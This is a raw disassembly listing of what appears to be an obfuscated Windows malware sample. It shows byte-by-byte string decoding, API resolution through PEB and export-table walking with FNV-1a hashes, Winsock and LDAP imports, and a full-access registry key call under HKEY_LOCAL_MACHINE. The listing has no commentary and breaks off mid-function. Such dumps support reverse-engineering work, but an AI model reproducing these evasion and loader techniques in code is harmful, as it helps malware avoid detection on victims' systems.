lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401277a3
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140127779
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140127459
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140127765
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140127743
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140127721
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14012770d
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401276eb
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401276d7
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401276b5
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140127693
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14012767f
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140127459
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x140127459
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14012744c
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x1401273e5
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140127369
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x140127cdc
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x140127d35
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140127d38
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x140127aed
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x140127d87
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x140127c6f
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140127dda
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140127e0a
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x1401278b3
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x590], bl
jmp 0x140127e69
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 9
jb 0x140127796
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140127d0d
movabs rcx, 0x65191bf3727f4ba2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
cmp rdi, 0x1000
jae 0x140127bea
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x140127b32
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x1401277c4
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, r12
je 0x140127c15
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x140127a8d
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x14012780f
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140127e5a
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x140127e0a
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140127dd7
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140127da7
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x140127d87
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x140127aed
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x140127d38
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140127d35
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
add bl, dl
jmp 0x140127d0d
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x1401279f9
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140127868
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140127a24
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x140127e5a
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140127a41
movabs rdx, 0xb8b05b574343cd24
mov ecx, 2
jmp 0x1401278fb
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140127a6c
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140127da7
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140127868
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140127c95
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140127aaa
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x140127cdc
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140127ad5
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x140127d35
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140127aff
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140127c0b
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14012780f
movabs rdx, 0xb189cde364d7c22
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140127e5a
jne 0x140127b56
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x140127e5a
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140127b81
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140127dda
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140127b9e
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x140127c6f
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140127bc9
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x140127d5e
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401277c4
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140127cdc
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x590]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
jmp 0x140127d5e
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x590]
jmp 0x140127908
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x140127dda
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140127da7
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140127d87
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140127d38
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140127d0d
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x590], cl
add r10, r15
sub r9, r15
jmp 0x140127e69
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 2
add r8b, cl
add r8b, bl
mov byte [rbp + r9 + 0x590], r8b
add rdi, r10
jmp 0x140127da7
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140127e69
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x590], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x590], r8b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140127e5a
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x590]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140127356
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x140127353
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
jmp 0x140127343
lea r12, [rbp + 0x145e338]
jmp 0x140127ece
lea r12, [rbp + 0x136aa76]
jmp 0x140127ece
lea r12, [rbp + 0x590]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x14012803c
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140127f4a
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140127f3c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140127f2b
cmp r8d, esi
jne 0x140128019
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140128019
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140128019
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140127f9e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140127f93
cmp edx, r14d
je 0x140127fb4
test r9d, r9d
jne 0x140127f7e
jmp 0x140128019
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x14012802f
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14012802f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140127ff6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x140127fe8
jmp 0x14012800c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x140127fff
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14012802c
cmp qword [rdi + 0x30], 0
jne 0x140127efa
xor r10d, r10d
mov qword [0x1404fc178], r10
mov r15d, 1
and qword [rsp + 0x40], 0
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x1401281e2
xor esi, esi
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x60], ax
mov r12d, 0x811c9dc5
test esi, esi
je 0x1401280f4
mov rdx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r12d
jmp 0x1401280e6
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401280d5
cmp r9d, esi
jne 0x1401281cb
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x1401281cb
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401281cb
mov ebx, dword [r11 + 0x20]
dec r10d
lea r8, [rbx + r10*4]
mov r9d, dword [r8 + rdi]
add r9, rdi
mov r8d, r12d
jmp 0x140128148
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x14012813b
cmp r8d, r14d
je 0x14012815e
test r10d, r10d
jne 0x140128128
jmp 0x1401281cb
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x1401281d3
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1401281d3
mov esi, r12d
mov r14d, r12d
jmp 0x14012819c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012818e
jmp 0x1401281b1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x1401281a4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401280a1
mov qword [0x1404fc118], rdx
mov r13d, 0xeced0b92
jmp 0x1401281e8
mov r12d, 0x811c9dc5
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14012834e
xor esi, esi
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14012826b
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x14012825d
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012824c
cmp r8d, esi
jne 0x140128332
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x140128332
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140128332
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, r12d
jmp 0x1401282bd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401282b2
cmp edx, r14d
je 0x1401282d3
test r9d, r9d
jne 0x14012829f
jmp 0x140128332
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x140128347
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x140128347
mov esi, r12d
mov r14d, r12d
jmp 0x140128311
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140128303
jmp 0x140128326
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x140128319
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140128345
cmp qword [rbx + 0x30], 0
jne 0x14012821e
xor ebx, ebx
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x1401284ba
xor esi, esi
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x1401283d7
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x1401283c9
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401283b8
cmp r8d, esi
jne 0x14012849e
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14012849e
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14012849e
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, r12d
jmp 0x140128429
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012841e
cmp edx, r14d
je 0x14012843f
test r9d, r9d
jne 0x14012840b
jmp 0x14012849e
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401284b3
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401284b3
mov esi, r12d
mov r14d, r12d
jmp 0x14012847d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012846f
jmp 0x140128492
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140128485
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401284b1
cmp qword [rdi + 0x30], 0
jne 0x14012838a
xor edx, edx
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x14012861d
xor esi, esi
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14012853a
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x14012852c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012851b
cmp r8d, esi
jne 0x140128601
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140128601
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140128601
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, r12d
jmp 0x14012858c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140128581
cmp edx, r14d
je 0x1401285a2
test r9d, r9d
jne 0x14012856e
jmp 0x140128601
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140128616
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140128616
mov esi, r12d
mov r14d, r12d
jmp 0x1401285e0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401285d2
jmp 0x1401285f5
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1401285e8
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140128614
cmp qword [rdi + 0x30], 0
jne 0x1401284ed
xor edx, edx
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x140128780
xor esi, esi
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14012869d
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x14012868f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012867e
cmp r8d, esi
jne 0x140128764
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140128764
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140128764
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, r12d
jmp 0x1401286ef
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401286e4
cmp edx, r14d
je 0x140128705
test r9d, r9d
jne 0x1401286d1
jmp 0x140128764
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140128779
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140128779
mov esi, r12d
mov r14d, r12d
jmp 0x140128743
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140128735
jmp 0x140128758
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14012874b
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140128777
cmp qword [rdi + 0x30], 0
jne 0x140128650
xor edx, edx
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], 0
jne 0x1401288e4
xor esi, esi
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x1401287fe
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x1401287f0
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401287df
cmp r8d, esi
jne 0x1401288c7
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401288c7
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401288c7
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, r12d
jmp 0x140128850
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140128845
cmp edx, r14d
je 0x140128866
test r9d, r9d
jne 0x140128832
jmp 0x1401288c7
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
